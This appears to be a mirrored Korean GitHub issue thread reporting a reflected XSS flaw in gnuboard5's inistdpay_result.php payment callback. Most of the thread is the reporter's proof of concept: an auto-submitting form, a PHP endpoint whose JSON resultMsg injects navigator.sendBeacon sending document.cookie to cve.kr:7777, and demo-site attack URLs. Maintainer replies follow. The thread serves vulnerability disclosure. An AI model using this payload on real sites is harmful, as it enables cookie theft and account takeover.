Comments (4)
위 테스트하신 sample.html
내 authUrl
파라미터의 값으로 페이로드를 리턴하는 주소가 입력되어야 합니다.
Payload
테스트 하실 수 있게 alert
함수로 정리해드렸습니다!
http://cve.kr/gnuboard.php
https://demo.sir.kr/gnuboard5/shop/inicis/inistdpay_result.php?resultCode=0000&authUrl=https://03sunf.com/exploit.php
둘중 하나 아무거나 접속하셔도 됩니당
from gnuboard5.
Code
gnuboard5/shop/inicis/inistdpay_result.php
Lines 113 to 154 in 66c6e9b
Content
/shop/inicis/inistdpay_result.php
내에서 $resultMap['resultMsg']
변수에 대한 이스케이프 처리가 존재하지 않아 공격자가 페이지 에러를 유발하여 XSS를 트리거 할 수 있습니다.
Poc
<form id="exploit" method="POST" action="http://localhost/shop/inicis/inistdpay_result.php">
<input name="resultCode" value="0000"/>
<input name="authUrl" value="https://03sunf.com/exploit.php"/>
</form>
<script>
exploit.submit();
</script>
https://03sunf.com/exploit.php
<?php
header('Content-Type: application/json');
?>
{
"MOID": [],
"resultMsg" :"\", navigator.sendBeacon('http://cve.kr:7777', document.cookie),\"", # Could handle this value as palyload.
"tid": 0
}
Account take over with XSS
https://storage.cve.kr/GNUBOARD5_REFLECTED_XSS_POC.mp4
from gnuboard5.
안녕하세요.
시연에서 보여주시는 것과 같은 현상을 발견하지 못하였습니다.
아마도 PHP의 설정이 달라서 그런것 같습니다.
sample.html
<form id="exploit" method="POST" action="https://demo.sir.kr/gnuboard5/shop/inicis/inistdpay_result.php">
<input name="resultCode" value="0000"/>
<input name="authUrl" value="" size="100"/>
<input type="submit">
</form>
from gnuboard5.
안녕하세요.
확인이 늦었습니다.
다음번 패치에 반영하겠습니다.
알려주셔서 감사합니다.
from gnuboard5.
Related Issues (20)
- 설치시 자동생성되는 게시판 글읽기 포인트로 인한 문제 HOT 2
- list.php 파일에서 g5_latest_cache_data() 함수 사용으로인한 버그 HOT 1
- 게시판 RSS 포맷이 RSS 2.0 스펙에 맞지 않습니다 HOT 1
- 저장소에 포함된 의미없는 파일 HOT 1
- MySQL 8.0.11 이상에서 `sql_password()` 함수가 동작하지 않는 문제 HOT 1
- CHEditor에서 이미지 업로드시 서버 내 경로가 노출되는 문제 HOT 1
- 6월 25일 제보한 영카트 보안취약점 HOT 1
- PHP 8 이상에서 Hook에서 발생할 수 있는 Fatal error HOT 2
- [Idea] po => mo로 변환하는 .sh 파일 추가
- IE 8을 계속 지원하는 상태인가요?
- 세션 고정 취약점 HOT 1
- 관리페이지 메뉴 접근 권한이 부여된 경우 관리페이지의 index 페이지의 정보가 노출되는 문제 HOT 1
- HTTP 호스트를 보조할 공통의 래퍼(Wrapper) 함수 작성 HOT 7
- 특정 상황에서 createSEditor2의 Same-origin 오류 HOT 1
- `wr_num` 필드 값이 동시성 문제로 겹치는 경우 답변글에 대한 권한이 잘못 주어지는 등의 문제 HOT 4
- 회원가입시 전송되는 인증 제안 HOT 1
- 영카트 입력값 검증 미흡으로인한 SQL Injection 보안취약점 HOT 2
- 본인인증 처리 후 저장되는 개인정보 최소화 HOT 1
- 데이터베이스 열의 기본 날짜 재고찰 HOT 1
- 보안취약점. 비밀글이 게시판 목록에서 내용, 썸네일이 노출되는 문제 HOT 3
Recommend Projects
-
React
A declarative, efficient, and flexible JavaScript library for building user interfaces.
-
Vue.js
🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.
-
Typescript
TypeScript is a superset of JavaScript that compiles to clean JavaScript output.
-
TensorFlow
An Open Source Machine Learning Framework for Everyone
-
Django
The Web framework for perfectionists with deadlines.
-
Laravel
A PHP framework for web artisans
-
D3
Bring data to life with SVG, Canvas and HTML. 📊📈🎉
-
Recommend Topics
-
javascript
JavaScript (JS) is a lightweight interpreted programming language with first-class functions.
-
web
Some thing interesting about web. New door for the world.
-
server
A server is a program made to process requests and deliver data to clients.
-
Machine learning
Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.
-
Visualization
Some thing interesting about visualization, use data art
-
Game
Some thing interesting about game, make everyone happy.
Recommend Org
-
Facebook
We are working to build community through open source technology. NB: members must have two-factor auth.
-
Microsoft
Open source projects and samples from Microsoft.
-
Google
Google ❤️ Open Source for everyone.
-
Alibaba
Alibaba Open Source for everyone
-
D3
Data-Driven Documents codes.
-
Tencent
China tencent open source team.
from gnuboard5.